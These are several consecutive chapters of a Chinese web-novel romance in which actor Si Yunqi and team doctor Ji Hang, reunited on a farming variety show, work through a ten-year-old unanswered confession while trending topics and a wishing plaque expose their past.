【第一期也值得推荐啦~嘉宾们栽3000棵梨树，很有态度的！】
【姐妹们，你们看到司云起栽山楂树那里了吗？】
【什么山楂树？】
广场上的讨论暂停五分钟，然后
#司云起山楂树#登上热搜。
这时的嘉宾们刚走完一半的山路，疲惫不堪，讲句话都是费力气。
热搜上又陆续挂上去好几条热搜：
#往别人脸上抹黑是什么节日##3000棵梨树##艾宣勇敢的女孩##韦流竹性格##邓承潘同什么关系##司云起得偿所愿#
尤其是山楂树那条热搜，已经有爆的趋势。
没看这档综艺的网友也都点进了这个词条里，看到了截取自正片内的片段。
小悠看到后，特别兴奋，对乔炎说：“乔导，这第一期都还没播完话题度就这么高了诶！”
乔炎很严肃：“小悠。”
小悠：“嗯？”
乔炎嘱咐她：“等第一期播完后，要是司云起来找我麻烦，你记得帮我说几句好话。”
“为什么呀？”小悠不明所以。
乔炎摆手：“你照做就行了。”
嘱咐完后他问：“季医生呢？”
小悠望向山顶：“刚上山，咱们也上去吧。”
工作人员三两结伴，上山时问季杭：“季医生，一起走啊？”
季杭婉拒道：“你们先去吧。”
工作人员离开时还在嘀咕：“季医生这性格是真的挺无趣的哦。”
等没人走时季杭才背上背包出发，他对这里并不陌生。
十年前，他来过这里。
这人世间最牢固的事物中，山也许能排到榜首。
日轮月转，四季更迭。
人会变个模样换个性格，旧物会抹上一层时光的灰尘，往事会逐渐记不清。
可这座山的每一层台阶，甚至台阶上的某一处凸起凹陷，都能和记忆中的重叠。
他回忆着第一次来爬这座山时的场景，什么都记得清，独独忘记了——
最牢固的，除了这山，还有。
十年前他喜欢司云起。
十年后的今天，他还是只喜欢司云起。
走完一大半，他看到不远处的小亭子里面有人卖水。
刚走上去，他就遇到了正在原地休息的几位嘉宾。
看到他的时候韦流竹眼里都没有光了，毫不在意形象地瘫坐在地，抬了下手：“季医生。”
季杭看到他和艾宣，问：“需要帮忙吗？”
艾宣摆摆手，“前面，在走一点就到了，没事的季医生。”
“好。”
他离开时看到导演团队的几个人。
乔炎看到韦流竹后立刻上前，问：“怎么不放在第三站？”
韦流竹有气无力：“我们都商量好了，这一趟放到山顶那一站。”
“好吧，”乔炎说，“我帮你们。”
坐在另一边的欧瑜把担子交到工作人员手里时，还在问韦流竹：“刚才那位是谁？”
韦流竹：“医生啊。”
欧瑜见问不出他什么，想出去跟上季杭，但碍于拍摄，只能作罢。
季杭回了下头，看到乔炎接过了韦流竹的担子，小悠和艾宣解开货物各提了一半。
季杭又遇到了潘同和邓承。这两个人趁着夜色换了换担子，现在是潘同挑着重的。
见到季杭后，潘同还玩笑道：“本来觉得15斤不显什么，现在一挑邓承的才发现，这70斤是重哈！”
18. 喜糖
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艾宣：“什么白月光？”
邓承：“什么山楂树？”
潘同：“什么喜糖？”
他们纷纷拿出手机点进热搜。
＃司云起山楂树＃的词条还挂在第一，他们首先点进去，看到截取的视频。
当时司云起去找附近的村民借扁担，回园区时遇到一个老妇人。
老人用麻绳拖着老树，从家里拖出来。
司云起见到后问：“这树死了吗？”
老人苦涩地笑了一声，说：“没死。”
司云起看了几秒，问：“这是要扔掉吗？”
老人松了劲儿，回头看着山楂树：“要扔掉啊，就是有点舍不得。”
不舍得为什么要扔掉。
但是司云起没问。
像是突然有了个倾诉对象，老人突然很想多说一些：“这棵树是我老伴栽的。为我栽的。我怀孕那年，就特别馋酸。每天找酸的吃，我老伴就往这院子里栽了棵山楂。那时候我还骂他傻，哪有刚栽就能结果的。他傻乎乎的，栽完才反应过来，等到我生孩子都没吃上这山楂树结的果。”
司云起放下扁担，静静地听着。
“可这往后的每一年，这棵山楂树都结果了，结的特别多。吃不完，我就做成山楂罐头。一直到现在，都六十年了。”
“去年我老伴走了。”
“儿女都在外地，非要接我过去住，他们都说我有儿孙福。儿女都在外定居了，这房子以后也没个主人。他们就让我卖了。卖了就卖了吧。但人家不愿意要这院子里的山楂树。”
“我怕以后他们直接把这树砍掉，就自己找人刨了。”
“刨了之后人家说帮我扔掉，我不舍得。又留着它在院子里，待了五天多。”
“看着它实在是蔫儿了，我才狠狠心，想着自己找个地方扔了。”
司云起说：“奶奶，给我吧，我找个地方栽起来。”
老人明显高兴起来，问：“栽你家里吗？我以后还能过去看吗？”
司云起说：“栽在新开发的园区里，你随时都能去看。”
“谢谢你啊，”老人将麻绳交到司云起手里，又提醒着：“这树要是还能种活，结的果真的又大又多。你记得多摘点，送给家人朋友，送给你喜欢的人。”
司云起像是忽然想到了谁，垂眸时眼中带笑，说：“还是算了。”
他不喜欢。
……
“司老师你自己看你最后这个笑！”韦流竹一脸不可思议，“你想到什么了啊笑这么宠？”
邓承：“啧啧啧，还是算了，要我说＃司云起还是算了＃也该上个热搜。”
司云起不善的目光瞥过去，邓承装看不见，看热闹不嫌事大地问：“你看这评论。”
热评第一：【司云起！为什么算了！】
邓承重复：“司云起，为什么算了。”
为什么。
邓承的目光突然转到始终没动静的季杭身上。
“季医生，你也很好奇吧。”
其实季杭不好奇。
他只是忽然想起，一件隔了十年的小事——
十年前季杭晕车很严重，属于那种刚坐在车上就开始不舒服的人。
有次他陪司云起去外地，偏偏要坐大巴车。
季满谦皱着眉提醒他：“晕车药放你包里了，你提前半小时吃。还有，备点酸的含在嘴里。”
季杭还没应声，身边的司云起先摸了摸他的包，说：“好。”
这话被季杭抛之脑后，一直到上了车季杭才想起来。马上发车了，季杭看着四周，忧心：“这也没时间去买了。”
司云起打开他的背包，拿出个小袋子，说：“我准备了。”
季杭刚准备夸他，一低头，看到——
一堆山楂。
……光是看着就已经开始咽酸水了。
季杭很认真地问司云起：“你把山楂含嘴里试试呢？”
司云起愣了下，再说话时底气少了很多：“我只想到越酸的越有效果。”
季杭无语地看他一眼，嘴里说着“我一点也不喜欢吃山楂”，转头看向窗外，手还不忘从司云起手里拽过山楂袋子，攥在自己手里。
有十几秒没听到司云起的动静，他又转过头。
巧的是司云起正抬起手，看到他转头时动作缓了一刻，又不容置疑的扣住他后颈，稍一用力，季杭就靠在司云起肩上了。
季杭心跳忽然快了一下，还没来得及说点什么，司云起的手又从他后颈挪开，盖到了眼睛前。
光亮骤然消失。
听力却格外敏感。
他有些不自在地眨着眼睛，睫毛蹭着司云起的掌心，在察觉到覆在自己眼前的手轻轻动了一下时，他阖上眼睛，再也不睁开。
司云起说：“睡觉吧，到了我叫你。”
他攥着那袋没吃的山楂，睡了很安稳的一觉。
后来有次，曹书望发神经，买了一大袋水果，还是用尿素袋装起来的。背着就去找季杭了。
季杭和司云起在一起，见到他后，司云起挑眉，问他：“这是打算开水果摊还是准备卖化肥。”
曹书望白了他一眼，把水果扔给季杭，说：“我打完篮球走小路，看到有个奶奶卖水果，特别便宜，我就都买了。快快快，你们多装点，我用你卫生间洗个澡。”
等曹书望出来后，看到季杭桌子上的水果。
“这么多种类呢，你多拿点啊，”曹书望又给季杭抓了一大把山楂，捧了好几个柿子。
季杭瞥了一眼，没反应。
倒是司云起，把曹书望拿到桌子上的山楂又放回了他的尿素袋子里。
曹书望：“？”
司云起：“他不爱吃山楂，我也不爱吃。”
曹书望：“？？”
他疑惑地看向季杭，正想说这家伙明明前段时间还捧着一袋子烂山楂当个宝，这才多久就不爱吃了？
人格分裂啊。
曹书望：“不是季杭你……”
季杭起身推他：“好了快拿上你的尿素回去吧。”
……
往事经年，有些事情只适合留在回忆里。
在场人很多，季杭不清楚这些人对司云起和自己的cp是什么态度，会不会私下里爆给媒体什么料，会不会对司云起的前路有阻碍。
“我不好奇，”季杭看向邓承，“网络会放大很多声音，我以为司老师只是单纯不想老人难过，才会接下那棵山楂
19. 许愿牌
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乔炎也知道他出现的不是时候。
但他知道的时候已经晚了。
他刚踏出这酒店门，就听到了季杭的问题。
问这cp对司云起有帮助没。
这个……
乔炎很抱歉自己的出现打扰了这两位，但他回想起自己看到的评论，真的很想告诉季杭——
帮助，这个看怎么定义了，如果看粉丝量和黏性，那绝对是很大的帮助。
毕竟这个彩蛋一放出去，网上是这样的：
【我的天，我的地，我的菩萨save me！这山楂树！是司云起和另一个影子一起栽的！】
【你们有人能救救我吗，最初我没说但我真觉得这是我们臆想出来的cp，但这一桩桩一件件，这一次次售后，司云起和另一位影子，我们这么多小月光火眼金睛，还能冤枉了你们不成！】
【今我来司的姐妹们好，当你们看到这条微博的时候，我已经进入两个影子的大家庭了。我没有别的意思，我只是过来看看，知己知彼百战百胜，你们不要管我，我有自己的进度。】
【退一万步来讲，不！一步都不用退！两个影子是真的！】
【起子哥能暗戳戳回应一下不，这栽完树之后你俩都淋湿了，下一步干了什么？】
【都让开，按照小说里的情节，下一步一定是因为房间简陋，热水不够，只能两个人一起洗澡，然后洗澡的时候……】
【接上！洗完澡后司云起把他抱到床上，他眼睫翕张，面色潮红，抬手搂住司云起，声音是不可描述的哑，说：“还要。”】
【再接上ooc致歉！司云起扣住他的下巴，另一只手在动作，又偏不如他意，看着他难耐的目光，质问：“为什么给我打伞，你自己却淋雨？”】
【姐妹你确实有点ooc，但是裤子飞飞！】
【评论已经乱成一锅粥了，大家快来趁热喝吧！】
……
季杭回到房间后打开手机，片刻后又摁灭。
他现在已经不是很想回家种地了。
他更想成为一个埋在地下的土豆。
此刻的司云起和乔炎正停留在小悠的房间门口。
小悠打开门，还没说话，乔炎就使眼色，说：“小悠，那个彩蛋，你来证明一下我的清白，我也是后来看成片才知道的，只是没顾上和他说，不是我故意不告诉他对吧。”
小悠思考两秒，还是决定诚恳一点，于是她毫不犹豫地出卖了乔炎，对司云起说：“司老师，我证明，彩蛋的视频，其实乔导真的是……很早就知道了。他还和我说，先不告诉你，就放在彩蛋里，要等你自己发现。”
“就是这样！”小悠说完后和他们晚安，随后关上了门。
司云起回到自己房间，面无表情，“为什么不告诉我？”
乔炎：“我觉得你自己发现要好一些。”
司云起：“好在哪里？”
乔炎：“你追的太含蓄了，我都感觉不到你在追人，更别提季医生了。我想找个机会推你一把，然后看到了那条素材。当时我是想告诉你的，但是——凭着我在你俩超话里学到的，我告诉你肯定不如你自己看到的有效果。”
说着说着乔炎也好奇了，他反问：“我就纳闷，你怎么不问季医生为什么给你撑伞？”
司云起：“他说碰巧。”
乔炎：“你信？”
司云起：“不信。”
乔炎：“那你没追问？”
司云起声音沉沉：“他不想说的事情，问不出来。”
所以重逢以来，司云起唯一问过季杭的一个问题就是他坐在房檐上，问季杭记得以前的什么。
其余所有……
重逢那晚季杭为什么当着韦流竹的面说是他是自己粉丝，为什么说拥抱是他主动的。
为什么自己每次去找他，他都要把门关上，怕被看到？那又为什么怕被看到？
第一期结束离开前晚上，他明明说对园区不感兴趣，可为什么又自己一个人去了。
山楂树在园区最隐蔽的角落里，怎么能在下雨的时候偶遇在那里。
为什么开个营销号为自己反黑这么多年。为什么叫“借我瓶水”。
……
司云起并非不好奇，但他知道即便问了季杭也不会回答。
乔炎不理解道：“你喜欢季医生我知道，但我怎么觉得，季医生也喜欢你呢？”
一阵沉默，司云起说：“不会的。”
“那他还开个微博号给你反黑？我都看过了，他发的那些消息图片，很多我都没见过，他一个圈外人，得费多少心思去找啊。”乔炎试探着问，“云起，你是不是当局者迷了？”
“我表白过。”司云起说。
乔炎：“拒绝你了？”
“没拒绝，”司云起想起当时的场景——
身边桌子上的书正在被翻弄，发出沙沙的轻响。
司云起喉结划动，一改平日说话的慵懒，轻轻开口：“季杭。”
翻书的声音似乎停了。
司云起站起身，脑海中有一瞬间空白。可又只是须臾，他说：“季杭，我、”
好像是有点过于紧张，他嗓音发紧，没能完整地说出那句话。
他站的很直，肩线紧绷，顿了片刻，他说：“季杭，我喜欢你。”
砰的一声，好像是有什么东西倒了。
司云起动了动嘴唇，却没能说出话。
他听着那声音倒下，又滚动，直至完全没有声响。
如同轻巧的羽毛坠入大海，季杭始终沉默。
他就在这样漫长的沉默里，明白了季杭的回答。
“不喜欢我也没关系，”司云起语气放的轻松，像是说着特别稀疏平常的话，“没关系的。”
他试探着走了两步，季杭依旧没有动静，也没有像以前一样过去扶他。
犹豫片刻，司云起站在原地，好像不知道是该走向季杭还是就站在这里，他声音里终于透出些哑：“拒绝我并不是一件值得你为难的事情，不喜欢我真的没关系。”
他想听到季杭说点什么，只要能听到季杭的声音就心安了。
可是没有。
司云起心口像是被很尖锐的东西死死掐着。
再往前走时被椅子绊住，他踉跄几步后扶到桌角。他摸索着前行，正当他觉得抬手就可以触到季杭时，木制椅子突然被推开，划过地面是刺耳的声音。
几秒后椅子倒地，发出沉闷的一声响。
似乎还有垃圾桶被踢翻的声音，门被甩开后又重重关上的声音……
好多种动静杂乱不堪。
可司云起还是能在那些声音中，听到了季杭没有丝毫停顿、跑离自己的声音。
……
……
司云起回神，说：“可是，我吓到他了。”
乔炎问：“季医生他，不喜欢男人？”
“这不应该啊，如果你真的吓到他了，那他为什么还要开个营销号给你反黑？”
司云起也想过这个问题，可想来想去，答案似乎只有一个：
季杭他本身就是个很好的人，他不喜欢自己，但他承认曾经和自己真挚的友谊，所以用他的方式来帮助自己。
乔炎：“过了太久了，不然你还是找个机会问问季医生，也许十年前不喜欢，现在喜欢了呢。”
司云起瞥了乔炎一眼：“如
20. 念念不忘
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“司老师，你快来啊！”韦流竹见艾宣愣在某处，也跟着凑了过去，好奇地看着这个久远的许愿牌。
司云起过去时，那里已经聚了好几个嘉宾和工作人员。
“这是什么意思？”韦流竹不理解，“我没印象看到过你眼睛受伤的新闻呀。”
“我也没有，”工作人员上网搜索，也是一片空白，“网上也没搜不出来。”
人们议论纷纷。
“这还能是瞎写的？”
“这也不像瞎写啊关键是……”
“会不会是黑粉！说司云起眼睛快好起来是反讽他没眼光！嗯…但下一句永远不受伤又不像是黑粉哦。”
“司老师！快过来，你看！”
司云起越过围观的几个人，顺着艾宣手指的方向，看到了那张许愿牌。
目光就再也没有移开过。
邓承跟在他身后，也看到了上面的字。
“这一看就是粉丝，”邓承说，“云起他拍摄时受伤还挺多的，他又向来不喜欢这些暴露在公众平台上，网上没消息也很正常。”
“对哦，”工作人员问，“司老师，你是拍哪部电影的时候受伤的呀。”
“司老师？”
司云起回神，又听到韦流竹大声喊：“季医生，你一个人在那里做什么，快过来呀！”
小悠刚写完心愿，正打算挂许愿牌，看到那边围了那么多人，还以为是个风水宝地，“季医生，走，咱一块去看看。”
季杭拒绝：“不了，你去吧。”
“没事的季医生，咱们后期特别专业，入镜后都会给打马赛克的，走。”小悠又劝。
季杭还是婉拒，正欲转身离开时，身后又有个人推自己。
他回头看，是导演乔炎。
“走啊季医生，看看那边做什么呢那么多人。”
季杭拗不过他们两个，跟着走过去后，见到一群人正对着一张许愿牌研究。
司云起站在最中间，默不作声。
他忽然有个预感。
果不其然，下一秒小悠钻进人堆，慢慢念道：“司云起，眼睛快好起来，永远不受伤……”
季杭措然抬眸，撞进司云起的眸光里。
“这是粉丝写的吗？”有人这样问。
“司老师？”
有阵风吹来，许愿牌被风的力道抵着前后晃动。
许许多多美好的心愿相撞，一段漫长而悠远的声音随着风去往远方。许下这些心愿的人会在某个普通的时刻，听到回响。
司云起敛了眸光，回神看向许愿牌。静谧半晌，他忽地探出手指，轻轻碰向那处裂痕。
触感粗糙坚硬。
司云起垂眸，手指抵着许愿牌，声线沉澈：“不是粉丝。”
季杭听到有人问为什么。
那人问司云起为什么笃定不是粉丝，能写下这样心愿的人，不是粉丝还能是谁。
“这不光是字哦，”艾宣弯腰，仔细看了看，“许愿牌好像是先用什么东西刻出来这几个字，这黑色的字迹是后来描上去的。”
“我的天。”听到艾宣的话，围观的人们又凑过去，发现果然是这样。
“这还不是粉丝，这得多爱啊，还先把这些字在许愿牌上刻下来……”
司云起退出人群，慢慢走到季杭身后。
耳侧蓦然传来声音，季杭听到司云起问：“为什么。”
为什么。
……
那年送司云起离开后，很长的一段时间里，季杭都没有司云起的消息。
有几天连着熬夜，曹书望看不下去，把季杭赶走去睡觉，他守着季满谦。
季杭却睡不着，坐在出租屋里一下午，走神一下午。
半夜，他决定去爬山。
到达时已经是清晨了，太阳越出地平线，照的他前行的路越来越亮。
到山顶时他看到很多人都在写许愿牌，那小牌很便宜，5块钱一个。要是买的多还能和摊主讲价。
他站在旁边看着摊前的人络绎不绝，转身要走时听到摊主说：“小伙子，你不买一个啊，我还以为你看这么久是感兴趣呢。”
季杭摇头，说：“不了。”
他走到一处人少的地方，有个拄着登山杖的老人主动和他聊天。
“你看起来很没精神，遇到难事了吗，”老人问。
季杭看了老人一眼，又收回视线眺望远方。
“算是吧。”
老人问：“那怎么不学别人，许个愿挂在那铁链或者那树上？”
季杭回答道：“我不信这些。”
如果把愿望写在许愿牌上挂起来就能应验，那为什么还会有那么多的求而不得和期冀落空。
如果真的能这么简单，那明明自己已经祈求过千万次让季满谦好起来，明明自己那么不想和司云起分开，为什么还是事与愿违。
“不信？”老人笑了笑，“哪有什么信不信的，这么多的许愿牌，你以为所有许愿的人都觉得一定会实现吗。那肯定不会。而且很多人现在许了心愿，过一年都忘记自己许的愿是什么了。但那也否定不了这一刻写下心愿的他们是真诚的，因为心愿太美好，除了放在心里，还能写下来，和很多人的心愿放在一起。多美好的地儿。”
季杭沉默了会儿，偏头问：“那您写了么？”
老人乐呵道：“当然写了，我每爬一座山都写一个。”
季杭有点想问那每次的心愿都一样吗，但有点冒犯，就没问。
老人主动说：“我每次写的都是一个，我写的是‘想为爱妻再做一顿饭’，我知道不可能实现，因为我妻子已经离开三年了。”
后来老人下山，季杭去买了两块许愿牌。
他坐在石块上，手中的黑笔迟迟没落在许愿牌上。等他终于想好了要写什么，又开始觉得这黑笔痕迹不够重，似乎经历几场雨就会被打散。
彼时还说不信的人，找出那把出租屋的钥匙，一点一点，在许愿牌上刻下心愿。又觉得许愿牌上的绳子太细太短不够牢固，又去找摊主买来二十几根红绳。
他刻了两张，然后用黑笔描色。
【季满谦身体健康，长命百岁。】
【司云起眼睛快好起来，永远不受伤。】
明明不到一分钟就能写完的心愿，他却足足耗了半个多小时。就好像是，慢慢许下的心愿，被忘记的就能慢一点。
所以时至今日，他还没忘记。
……
乔炎注意到司云起不大对劲，提议道：“行了，猜这个也没意义，你们的许愿牌都挂好了吗，快去挂吧。”
他说完后人们走了一些，还有几个围着看的。
欧瑜就在其中。他借着绑许愿牌的理由，在原地待了一会儿。
小悠远远看到欧瑜拿出手机在拍许愿牌，她快走过去提醒道：“欧瑜老师，这张许愿牌最好还是不拍了吧，有点涉及到司老师的隐私。”
欧瑜拿着手机晃了晃，笑容妥帖：“没有拍司老师的哦，我的也挂在这里了，刚刚拍的是我自己的，你要检查一下嘛。”
小悠：“不用了，不好意思欧瑜老师，误会你了，祝你的心愿早日实现。”
她走后欧瑜的脸色瞬
21. 我可以追你吗
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季杭眼睫轻颤了下，怔愣一瞬，有点想掉眼泪。
脱口而出那句“为什么”后他才反应过来，他们之间有太多的问题没有答案，也有很多问题不适合问。可他还没想好该怎样引开话题或者是终止对话时，就听到了司云起说的喜欢。
一刹那拉的无限长，季杭想起十年前他听到司云起的声音从手机里传出时，自己既高兴又难过，那天好像是最好也是最坏的一天。
时至今日，他终于亲耳听到了司云起说的喜欢。
却是高兴和难过都没有，只剩遗憾了。
他知道司云起的梦想，知道司云起这十年的经历。
他还知道不能只看网络上的消息，因为他生活在现实里，他要考虑司云起的前途。
……
司云起忽然没来由地低声问了一句：“没觉得反感是吗。”
季杭在怔然中抬眸，似乎不明白他为什么说这样一句话。
“季杭，没觉得反感是吗，”司云起又问了一遍。
“司云起，”这个名字几乎是用气音说出来的，可只有这三个字，之后季杭再也不知道要说什么了。
但司云起像是非要得到个答案一般，“嗯”了一声，又问：“没觉得反感，是吗。”
看着司云起期盼又紧张的眼神，以及他非要问出个答案的样子，季杭意识到什么，心脏骤然一紧——
原来这十年，司云起一直以为被自己反感讨厌么。
这样以为了十年，还是喜欢自己么。
一种接近于麻木的难过涌入心间，季杭觉得感情真的很不讲道理，它分明在违背人的本性。没人愿意追逐痛苦，没人愿意让遗憾永存。可他和司云起就像两个犟种，明知不可能也要爱，明明带给自己的痛苦更多也要爱。
“季杭……”司云起又在问。
季杭打断了他的话，涩然开口：“没。”
他看到司云起的眸光瞬间亮了。
压抑着那种道不明的酸涩，季杭朝他走近两步，说：“没觉得反感。可是司云起，我们没有可能，喜欢我太痛苦了，去喜欢能让你开心的人吧。”
“没觉得反感，”司云起好像总是会忽略一些话，就像现在，他只听到了季杭说没觉得反感，所以他问：“那我可以追你吗。”
季杭注视着司云起的眼睛，给出自己的回答：“我不会答应的。”
“好，”司云起亦是看着季杭，“答应不答应都好。”
季杭还想再说些什么，想劝退司云起。这个念头刚出来就没了。
他忽然想自私一次——
就随司云起吧。
就在这综艺拍摄的时期，他就只自私这么一小段时间。
爱了这么多年，自认在未来的漫长时光里依旧不会去爱别人，和这渺茫的时间相比，综艺里的一小段时光实在算不上什么，却能弥补他的遗憾，足够他独自度过之后的很多很多年。
只是他没办法说，没办法告诉司云起，其实他也从没放手。
……
房间的门被敲了三声，李达小声问：“季医生，司老师在你房间里吗？”
司云起临出去之前，保持着两个人之间不远不近的距离，轻声说：“季杭，我要开始追你了。”
季杭嘴唇动了动，像是要说“好”，又像是什么都不打算说。
等他们走后，季杭走过去关紧房门，而后靠着门缓缓蹲坐在地。
他回想起当年送司云起走时的场景，那时候他做好了司云起会和他老死不相往来的打算。却在十年后，听到司云起亲口向自己承认“我还是喜欢你”。
可能，司云起比他以为的，还要喜欢他。
他回忆了很多事情，暮色四合，夕阳打在窗户上，被半拉的窗帘切割，留下平直的一道光线落在地上。季杭看着那道线发呆，又看着那道线消失不见。
房间里暗了下来，门外小悠敲了敲门，叫季杭去吃饭。
季杭应声，出门前去洗手间洗了把脸。
吃饭的时候嘉宾和工作人员都很安静，季杭还以为吃完了就各自回各自房间。
没料到刚有人放下筷子，乔炎就提议：“一会儿咱们在外面玩游戏吧。”
人们纷纷附和。
季杭：和我无关。
可他要走时，忽然被乔炎点名叫住：“季医生，你去哪，咱们一起玩游戏吧。”
季杭：“不了，我什么也不会玩。”
乔炎：“你放心，都很简单。”
韦流竹见他要走，也跟着附和：“别回房间了季医生，和我们一起玩吧，回房间多有意思。”
季杭往门口走了两步，说：“不好意思，真的不了。”
邓承突然叫住他：“哎季医生，你着急回房间做什么，你谈恋爱了吗，回房间去和对象视频吗？”
季杭顿住：“……”
同一时间，邓承收到了司云起不善的目光。
人们一番不太像话的挽留，季杭终归是没回房间。
邓承凑司云起近了些，小声说：“你瞪我做什么，要不是我那样问，季医生早就回房间了。”
司云起瞥了他一眼：“谢谢。”
邓承：“你的谢谢，倒也不必。”
韦流竹凑近他们：“司老师，邓哥，你们在聊什么，我能听吗。”
邓承：“能听。”
韦流竹：“好耶！”
静默半分钟。
韦流竹：“你们……说啊。”
司云起放下筷子：“刚刚就说完了。”
韦流竹：“！我去找季医生了！”
欧瑜叫住他：“流竹，你去哪里？”
韦流竹头也不回地走掉：“我去季医生那桌。”
这个“季医生”在这些人口中出现的频率实在太多了些，而且不知道怎么回事，感觉整个节目组和嘉宾们都有点偏向他。
欧瑜不止一次听到小悠提起季医生，要么是说去叫季医生来，要么是说把什么什么留给季医生。
这个季医生，到底是什么来头。
他也试图问过几个工作人员，得到的答案很一致：医生，随队医生。
但他还是觉得奇怪。
尤其是，司云起好像，总是格外关注这位医生。
欧瑜拿着手机在桌子底下，把屏幕亮度调到最低后搜索：司云起恋情。
是一片空白。
欧瑜熄了屏，回想自己看过的司云起的经历——
圈内有很多人都知道司云起前几年是没戏拍的。直到他出演曲伯之的电影拿下影帝，才收获了一些关注。
但很快，网友发现在拍曲伯之的电影之前，司云起一部代表作都没有，甚至连做配角的电视剧都没有。
这导致司云起被嘲了很久，很多营销号深挖司云起的身世背景，并没挖出什么来，仍旧天天骂他是资源咖。不明所以的网友也开始跟风。
最严重的时候，司云起去参加活动，外面一群黑粉高举横幅写着“司云起资源咖滚出电影圈”十一个大字。
司云起下车后看到横幅，只是很淡漠地看了一眼，然后转身和粉丝打招呼。
之后曲伯之在接受采访时特意提到司云起，说司云起是在他的上一部电影片场遇到的，当时自己正灵感枯竭，看到司云起的那一刻，突然有个形象出现在脑海里。他确定不是司云起适合这个人物，而是，这个人物本身就是司云起。
不清楚怎么的，当时网上又突然出现很多照片，都是司云起早期在剧组做替身、武替，出演话剧的照片，时间甚至可以追溯到他刚上大学时，长达五年。
还有些不明真假的爆料，说司云起和他经纪公司矛盾很深，没有戏拍是公司一直从中阻拦。而司云起又好像一直很缺钱的样子，闲暇时间从未在学校里，总是
22. 不想换
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司云起绕了一圈，最后停在季杭身后一米左右的位置上。
因为季杭左右两边都有人。
他低头环视一圈，又在众人不解的目光中走到门口，拎起那个空闲的椅子，搬到季杭身后。
随后，他坐在了那儿。
这下所有的目光都落在了季杭身上。
季杭：“……”
韦流竹问：“司老师，你坐这里干嘛？”
司云起气定神闲：“来找你们玩游戏。”
韦流竹：“？”
有几位工作人员闻声撤离，很快就空出来了好几个位置。
季杭也想走。
但他刚准备起身，就听到身后的司云起说：“季医生，你是要挪位置给我吗，谢谢。”
季杭说：“不是，我是要走。”
话音刚落，彼时还在另一面桌子上吃饭的邓承和潘同迅速走来，挡住了季杭另一边的去路。
“季医生，咱们一起玩。”邓承拍了拍季杭的肩。
季杭看向面前站位有序的导演组，提醒道：“在拍摄。”
乔炎咳嗽一声，手里拿着不知道从哪里顺的扇子，挥了挥，说：“放心，只是记录，不一定剪进正片里，就算有一点剪进去了也一定会打码的。”
前有邓承潘同，后有司云起。
有那么一刻，季杭觉得似乎有哪里不对。
“快坐下吧季医生，”邓承说，“导演说打码就肯定会打码的。”
“好，”乔炎看向另一边，“艾宣、欧瑜，快坐到这边来。”
等他们都坐好后，乔炎说：“本来是准备了一些比较有活力的游戏，但碍于你们现在不是这疼就是那酸的，所以咱们就玩个简单一点的游戏。”
韦流竹：“是什么？”
乔炎：“我有你没有。”
眼看着几位嘉宾都要皱眉，乔炎立刻解释：“游戏规则是这样的，大家都伸出手指，因为咱们人多，所以都要伸出十根手指。每人说一件自己做过但别人没有做过的事。举个例子，艾宣说了一件事，在场的各位都没有做过，那你们都需要弯下一根手指。反之，如果你们做过，艾宣就要弯下一根手指。谁的十根手指先全部弯下去，就要接受惩罚。”
“这样啊，”邓承看了一圈，问：“你们都听明白了吗？”
“明白了。”
邓承看向乔炎：“那你再给我讲一遍，我没听明白。”
“哎呀邓哥我给你讲，”韦流竹大大咧咧的，按照自己理解的意思，给乔炎讲了一遍。
讲完后现场有刹那的寂静。
韦流竹：“怎么了这是？”
乔炎：“邓承你还是把他刚刚给你讲的忘掉，他理解反了，你听我说的。”
韦流竹表情格外丰富：“…那我也再跟着听一遍吧……”
终于都理解了游戏的玩法后，他们开始了游戏。
艾宣第一个发言，她说：“我的头发有三个颜色。”
在场的人看了看她的头发，蓝色和浅灰色挑染。
潘同：“这不是两个颜色吗？”
邓承凑过去手动给他掰下去一根手指：“除了你看到的蓝色和灰色，还有艾宣头发的原皮。”
在场人动作整齐划一地弯下一根手指。
接下来是欧瑜：“我小时候每门科目成绩都是满分，从没扣过分。”
除他之外的人又弯下一根手指。
邓承：“我吃过司云起做的饭。”
说完后他得意洋洋：“你们都没有吧，快快快，都弯个手指！”
司云起却突然开口：“不是。”
或许是因为挨得太近，司云起的声音响在耳边，季杭不自在地动了下脖颈。
邓承不满：“怎么就不是了，在场的别人，你还给谁做过？”
有那么几秒钟，司云起没说话。
季杭偏头看了他一眼，却看到他正注视着自己。
那样赤裸的目光，好像下一秒他就会在所有人面前脱口而出：“给季医生做过，很多顿。”
在场的人都不知道他们曾经认识，季杭也担心从前的事情又被翻出来被有心人做文章。
他的两只手都悬在半空中，在所有人的注视中。无法，他只能装作不经意的样子，手肘将筷子拨到地上。然后弯腰去捡。
他用左手捡起，直起腰时，右手轻轻拽了一下司云起的衣角。
坐好后，他似乎看到司云起唇边有几分扬起的弧度。但是很快，司云起开口：“不止你一个，还有——我。”
“对啊！司老师做的饭他自己也会吃啊！”韦流竹说，“邓哥你快自己弯吧！”
邓承无奈地独自弯下一根手指。
季杭松了口气，目光看向下一个人，衣角却蓦然一重。
他向下看去，映入视线的是削瘦修长的手，此刻正拽着他的衣角。
只是拇指和食指指尖轻轻拽着一小块衣服面料，似乎是司云起在试探着接近自己。
季杭垂着眸有一瞬间怔愣。没有亲吻，没有拥抱，只是司云起轻轻拽住了他的衣角。
拍摄全都集中在前面，侧边和后方都没有机位。节目组一众工作人员看着这边，机器在拍摄，嘉宾都坐在身边。
他们的相爱不为人知。
甚至，连当事人也不知情。
可季杭依旧很满足。
“哎干啥呢，”邓承注意到司云起放下了一只手，问：“你那手呢？”
似乎有个机位无声地转了一下。
司云起却只是无所谓地说了句“累了”，才慢悠悠松了季杭的衣角。
被中途打断了一下，潘同趁机想到了自己要说的，快速道：“我有老婆。”
在场人沉默了半分钟，再次统一的弯下一根手指。
韦流竹在他后面：“乔导教我跳过舞！”
邓承：“乔导？”
潘同：“教你？”
艾宣：“跳舞？”
三人异口同声：“你跳舞都沦落到要乔导教了？”
乔炎：“……”
韦流竹：“……”
不是这怎么还一句话冒犯俩人啊。
乔炎解释：“是上次拍的中插商务广告，有几个动作，我、咳，我就教了流竹一下。”
“好吧，”他们乖乖弯下一根手指。
下一个是季杭。
季杭能说的太多了。在等待别人说的时候他就在想，自己该说什么：
嗯……
自己做起来了一个营销号，
自己和司云起有两个产品，除了自己知道，别人都不知道，
自己有司云起十年前的……
等等。
打住。
为什么都和司云起有关。
全都是不能说的，季杭干脆说：“我是医生。”
但很显然，别人不买账。
“你这就有点投机取巧了季医生，不行，你得重说，”邓承提议道。
“对，重说重说，要么咱们举手表决一下，支不支持季医生重说。”潘同说。
三秒后，全票通过，季杭重说。
脑子里全都是不能说的，要么是十年前，要么是近十年，凡是能想起来的都和司云起有关系。
